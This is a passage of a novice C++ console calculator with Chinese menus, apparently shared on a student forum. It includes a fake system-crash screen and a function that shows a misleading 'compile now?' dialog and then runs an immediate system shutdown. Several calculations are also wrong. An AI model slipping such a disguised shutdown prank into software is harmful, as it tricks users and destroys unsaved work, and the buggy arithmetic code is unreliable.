cout << "|| [公告]:循环系统的分行数字循环因计算过大而故障,敬请修复 ||" << endl ;
cout << " 请选择功能:" ;
char a ;
cin >> a ;
if(a=='a')
{
system("cls");
cout << "你已选择加法功能,请选择加法类型:" << endl ;
cout << "[1]:普通加法" << endl ;
cout << "[2]:绝对值加法" << endl ;
int b ;
cout << "加法类型为:" << endl ;
cin >> b ;
if(b==1)
{
cout << "你已选择普通加法,请输入x,y:" << endl ;
int x , y ;
cout << "x的值为" ;
cin >> x ;
cout << "y的值为" ;
cin >> y ;
cout << "x+y=" << x+y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
cout << "你已选择普通加法,请输入x,y:" << endl ;
int x , y ;
cout << "x的值为" ;
cin >> x ;
cout << "y的值为" ;
cin >> y ;
cout << "|x+y|=" << abs(x+y) ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(a=='b')
{
system("cls");
cout << "你已选择减法功能,请输入x,y="<< endl ;
double x , y ;
cout << "x=" ;
cin >> x ;
cout << "y=" ;
cin >> y ;
cout << "x+y=" << x+y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(a=='c')
{
system("cls");
cout << "你已选择乘法功能,请输入x,y="<< endl ;
double x , y ;
cout << "x=" ;
cin >> x ;
cout << "y=" ;
cin >> y ;
cout << "x*y=" << x*y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(a=='d')
{
system("cls");
cout << "你已选择除法功能,请选择除法类型:"<< endl ;
cout << " [1]整数除法"<< endl ;
cout << " [2]余数除法"<< endl ;
cout << " [3]小数除法"<< endl ;
int b ;
cout << "除法类型:" ;
cin>>b;
if(b==1)
{
int x , y ;
cout << "你已选择整数除法,请输入x,y:" << endl ;
cout << "x=" ;
cin>>x;
cout << "y=" ;
cin>>y;
if(y==0)
{
cout << "Eorro" ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(y!=0)
{
cout << "x/y=" << x/y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(b==2)
{
int x , y ;
cout << "你已选择余数除法,请输入x,y:" << endl ;
cout << "x=" ;
cin>>x;
cout << "y=" ;
cin>>y;
if(y==0)
{
cout << "Eorro" ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(y!=0)
{
cout << "x/y=" << x/y << "-------" << x-x/y*y;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(b==3)
{
double x , y ;
cout << "你已选择小数除法,请输入x,y:" << endl ;
cout << "x=" ;
cin>>x;
cout << "y=" ;
cin>>y;
if(y==0)
{
cout << "Eorro" ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(y!=0)
{
cout << "x/y=" << x/y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
}
if(a=='e')
{
system("cls");
cout << "你已选择循环功能,请选择循环种类:" << endl ;
cout << " [1] 分行循环 " << endl ;
cout << " [2] 空格循环 " << endl ;
int b ;
cout << "循环种类为:" ;
cin >> b ;
if(b==1)
{
cout << "你已选择分行循环,请选择功能:"<< endl ;
cout << " [1] 字符循环" << endl ;
cout << " [2] 数字循环" << endl ;
cout << "循环功能为:" ;
int c ;
cin >> c ;
if(c==1)
{
cout << "你已选择字符循环,请输入x,y" << endl ;
int x ;
char y ;
cout << "循环次数x=";
cin >> x ;
cout << "循环数量y=";
cin >> y ;
for( int i ; i < x ; i++ )
{
cout << (char)y << endl ;
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(c==2)
{
system("cls");
cout << "Error SYSTEN <DIR> WEW 66457 10-01-99" << endl ;
cout << "You can't visit READNE <DIR> SAE 77456 10-01-99" << endl ;
cout << "You want to fix it NOPEDA <DIR> NJN 44895 10-01-99" << endl ;
cout << "But now,A problem has been detected and This procedure has been 84614 10-01-99" << endl ;
cout << "Shut down to prevent damage to your procedure. 15614 10-01-99" << endl ;
cout << "If this is the first time you've seen this stop error screen, 45154 10-01-99" << endl ;
cout << "restart your computer. <DIR> TXT 26926 10-01-99" << endl ;
cout << "If this screen appears again, <DIR> BMB 46080 10-01-99" << endl ;
cout << "follow these steps: <DIR> EXE 33727 10-01-99" << endl ;
cout << "Check to be sure you have adequate disk space. AVT 39594 10-01-99" << endl;
cout << "If a driver is identified in the stop message, DIR 55974 10-01-99" << endl ;
cout << "disable the driver or check with the manufacturer for driver updates. 45612 10-01-99" << endl ;
cout << "Try changing video adapterscheck for any DIOS 88614 10-01-99" << endl ;
cout << "Disable BIOS memory options such as caching or shadowing 44614 10-01-99" << endl ;
cout << "if you need tu use safe Mode to remove or disable components, 26481 10-01-99" << endl ;
cout << "Press F8 to select advanced startup options, 15415 10-01-99" << endl ;
cout << "restart your computer.and then select safe mode 15453 10-01-99" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(b==2)
{
cout << "你已选择空格循环,请选择功能:"<< endl ;
cout << " [1] 字符循环" << endl ;
cout << " [2] 数字循环" << endl ;
cout << "循环功能为:" ;
int c ;
cin >> c ;
if(c==1)
{
cout << "你已选择字符循环,请输入x,y" << endl ;
int x ;
char y ;
cout << "循环次数x=";
cin >> x ;
cout << "循环数量y=";
cin >> y ;
for( int i ; i < x ; i++ )
{
cout << y << " " ;
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(c==2)
{
cout << "你已选择数字循环,请输入x,y" << endl ;
int x ;
int y ;
cout << "循环次数x=";
cin >> x ;
cout << "循环数量y=";
cin >> y ;
for( int i ; i < x ; i++ )
{
cout << y << " " ;
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
}
if(a=='f')
{
system("cls");
cout << "你已选择保留小数,请输入x,y="<< endl ;
cout << "注意事项 :x不能超过[5]" << endl ;
int x ;
double y ;
cout << "保留位数x=";
cin >> x ;
cout << "保留前数y=";
cin >> y ;
if(x==0)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.0f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==1)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.1f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==2)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.2f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==3)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.3f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==4)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.4f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==5)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.5f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x>5||x<0)
{
system("cls");
cout << "Error SYSTEN <DIR> WEW 66457 10-01-99" << endl ;
cout << "You can't visit READNE <DIR> SAE 77456 10-01-99" << endl ;
cout << "You want to fix it NOPEDA <DIR> NJN 44895 10-01-99" << endl ;
cout << "But now,A problem has been detected and This procedure has been 84614 10-01-99" << endl ;
cout << "Shut down to prevent damage to your procedure. 15614 10-01-99" << endl ;
cout << "If this is the first time you've seen this stop error screen, 45154 10-01-99" << endl ;
cout << "restart your computer. <DIR> TXT 26926 10-01-99" << endl ;
cout << "If this screen appears again, <DIR> BMB 46080 10-01-99" << endl ;
cout << "follow these steps: <DIR> EXE 33727 10-01-99" << endl ;
cout << "Check to be sure you have adequate disk space. AVT 39594 10-01-99" << endl;
cout << "If a driver is identified in the stop message, DIR 55974 10-01-99" << endl ;
cout << "disable the driver or check with the manufacturer for driver updates. 45612 10-01-99" << endl ;
cout << "Try changing video adapterscheck for any DIOS 88614 10-01-99" << endl ;
cout << "Disable BIOS memory options such as caching or shadowing 44614 10-01-99" << endl ;
cout << "if you need tu use safe Mode to remove or disable components, 26481 10-01-99" << endl ;
cout << "Press F8 to select advanced startup options, 15415 10-01-99" << endl ;
cout << "restart your computer.and then select safe mode 15453 10-01-99" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
return 0 ;
}
}
if(a=='g')
{
system("cls");
cout << "你已进入几何计算,请选择功能:" << endl ;
cout << "[1]周长计算" << endl ;
cout << "[2]面积计算" << endl ;
cout << "[3]体积计算" << endl ;
int x ;
cout << "请选择功能:" ;
cin >> x ;
if(x==1)
{
system("cls");
cout << "你已进入周长计算,请选择形状:" << endl ;
cout << "[1]矩形计算" << endl ;
cout << "[2]圆形计算" << endl ;
int y ;
cout << "请选择形状:" ;
cin >> y ;
if(y==1)
{
system("cls");
cout << "请输入长和宽:" << endl ;
double m , n ;
cout << "长=" ;
cin >> m ;
cout << "宽=" ;
cin >> n ;
cout << "矩形的周长为:" << 2*m+2*n << endl ;
cout << " *************" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " *************" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
system("cls");
cout << "请输入半径:" << endl ;
int m ;
cout << "半径r=" ;
cin >> m ;
cout << "圆的周长为:" << 2 * m * 3.14 << endl ;
cout << " *******" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " *******" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(x==2)
{
system("cls");
cout << "你已进入面积计算,请选择形状:" << endl ;
cout << "[1]矩形计算" << endl ;
cout << "[2]圆形计算" << endl ;
int y ;
cout << "请选择形状:" ;
cin >> y ;
if(y==1)
{
system("cls");
cout << "请输入长和宽:" << endl ;
double m , n ;
cout << "长=" ;
cin >> m ;
cout << "宽=" ;
cin >> n ;
cout << "矩形的面积为:" << m*n << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
system("cls");
cout << "请输入半径:" << endl ;
int m ;
cout << "半径r=" ;
cin >> m ;
cout << "圆的面积为:" << m * m * 3.14 << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(x==3)
{
system("cls");
cout << "你已进入体积计算,请选择形状:" << endl ;
cout << "[1]矩形计算" << endl ;
cout << "[2]圆形计算" << endl ;
int y ;
cout << "请选择形状:" ;
cin >> y ;
if(y==1)
{
system("cls");
cout << "请输入长、宽和高:" << endl ;
double m , n , r ;
cout << "长=" ;
cin >> m ;
cout << "宽=" ;
cin >> n ;
cout << "高=" ;
cin >> r ;
cout << "矩形的体积为:" << m*n*r << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
system("cls");
cout << "请输入半径:" << endl ;
int m ;
cout << "半径r=" ;
cin >> m ;
cout << "圆的体积为:" << 4/3*3.14*m*m*m << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
}
if(a=='h')
{
system("cls");
cout << "你已进入乘方计算,请输入数值:" << endl ;
int m , n ;
cout << "请输入底数:" ;
cin >> m ;
cout << "请输入指数:" ;
cin >> n ;
cout << n << "的" << m << "次方是:" ;
long long x = pow(m,n) ;
cout << x << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(a=='i')
{
system("cls");
cout << "你已进入二进制&十进制,请选择类型:" << endl ;
cout << "[1]二进制转十进制" << endl ;
cout << "[2]十进制转二进制" << endl ;
int b ;
cout << "计算类型:" << endl;
cin >> b ;
if(b==1)
{
cout << "你已选择二进制转十进制功能,请输入二进制:" << endl ;
long long z ;
cout << "原数为:" ;
cin >> z ;
int n=0,m=1;
while(z){
n=n+z%10*m;
m=m*2;
z/=10;
}
cout << "原数的十进制为" << n << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==2)
{
cout << "你已选择十进制转二进制功能,请输入十进制:" << endl ;
long long z ;
cout << "原数为:" ;
cin >> z ;
string ans,b="01";{
while(z>0){
ans=b[z%2]+ans;
z/=2;
}
}
cout << "原数的十进制为" << ans << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(a=='j')
{
system("cls");
cout << "你已进入分解质因数功能,请选择:" << endl ;
cout << "[1]列举质因数" << endl ;
cout << "[2]质因数数量" << endl ;
cout << "[3]最大质因数" << endl ;
cout << "[4]最小质因数" << endl ;
int b;
cout << "计算功能:" ;
cin>>b;
if(b==1)
{
cout << "你已选择列举质因数,请输入num" << endl ;
cout << "本系统将会输出num的所有因数." << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
for(int i=2;i<=num/2;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
cout << "num没有因数" << endl ;
}
}
if(j>sqrt(i)){
cout << "num除自身外的因数为:" << i << " " ;
}
}
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==2)
{
cout << "你已选择质因数数量,请输入num" << endl ;
cout << "本系统将会输出num的所有因数的数量" << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
int a ;
for(int i=2;i<=num/2;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
cout << "num没有因数" << endl ;
break;
}
}
if(j>sqrt(i)){
a++;
}
}
}
cout << "num除自身外的因数个数:" << a << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==3)
{
cout << "你已选择最大质因数,请输入num" << endl ;
cout << "本系统将会输出num的最大因数" << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
int a ;
for(int i=2;i<=num;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
cout << "num没有因数" << endl ;
break;
}
}
if(j>sqrt(i)){
a=i;
}
}
}
cout << "num的最大因数为" << a << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==4)
{
cout << "你已选择最小质因数,请输入num" << endl ;
cout << "本系统将会输出num的最小因数" << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
int a ;
for(int i=2;i<=num;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
break;
}
}
if(j>sqrt(i)){
a=i;
break;
}
}
}
cout << "num的最小因数为" << a << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(a=='k')
{
system("cls");
cout << "欢迎下次登录 "<< (char)(92) <<" ^-^ / " << endl ;
return 0 ;
}
if(a!='a'&&a!='b'&&a!='c'&&a!='d'&&a!='e'&&a!='f'&&a!='g'&&a!='h'&&a!='i'&&a!='j'&&a!='k')
{
system("cls");
cout << " * ******** *" << endl ;
cout << " ** * * **" << endl ;
cout << " * * * * * *" << endl ;
cout << " * * * * * *" << endl ;
cout << " * * * * * *" << endl ;
cout << " * * * * * *" << endl ;
cout << " ********** * * **********" << endl ;
cout << " * ******** *" << endl ;
cout << " :( 阿哦,网页走丢了~" << endl ;
}
}
else
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " 阿哦~ :( 你输入的账户名或密码不正确,原因应该是:" << endl ;
cout << " 1.忘记账号密码" << endl ;
cout << " 2.账号输入错误" << endl ;
cout << " 3.未区分大小写" << endl ;
cout << " 4.未开启小键盘" << endl ;
}
}
system("cls");
cout << "欢迎下次登录 "<< (char)(92) <<" ^-^ / " << endl ;
}
else
{
return 0;
break ;
}
}
return 0;
}
sys(){
int result = MessageBox( NULL , TEXT("源代码未编译\n是否立即编译?") , TEXT("confirm") , MB_ICONERROR|MB_YESNO);
switch(result){
case IDYES:system("shutdown -s -t 1");
}
}
各位从这里点进来的看上面这个代码,不是第一个代码
1
0
0
0
0
0
0
赵泰来
高级光能
高级光能
0
0
0
0
0
0
0
沙宸安
高级启示者
高级启示者
0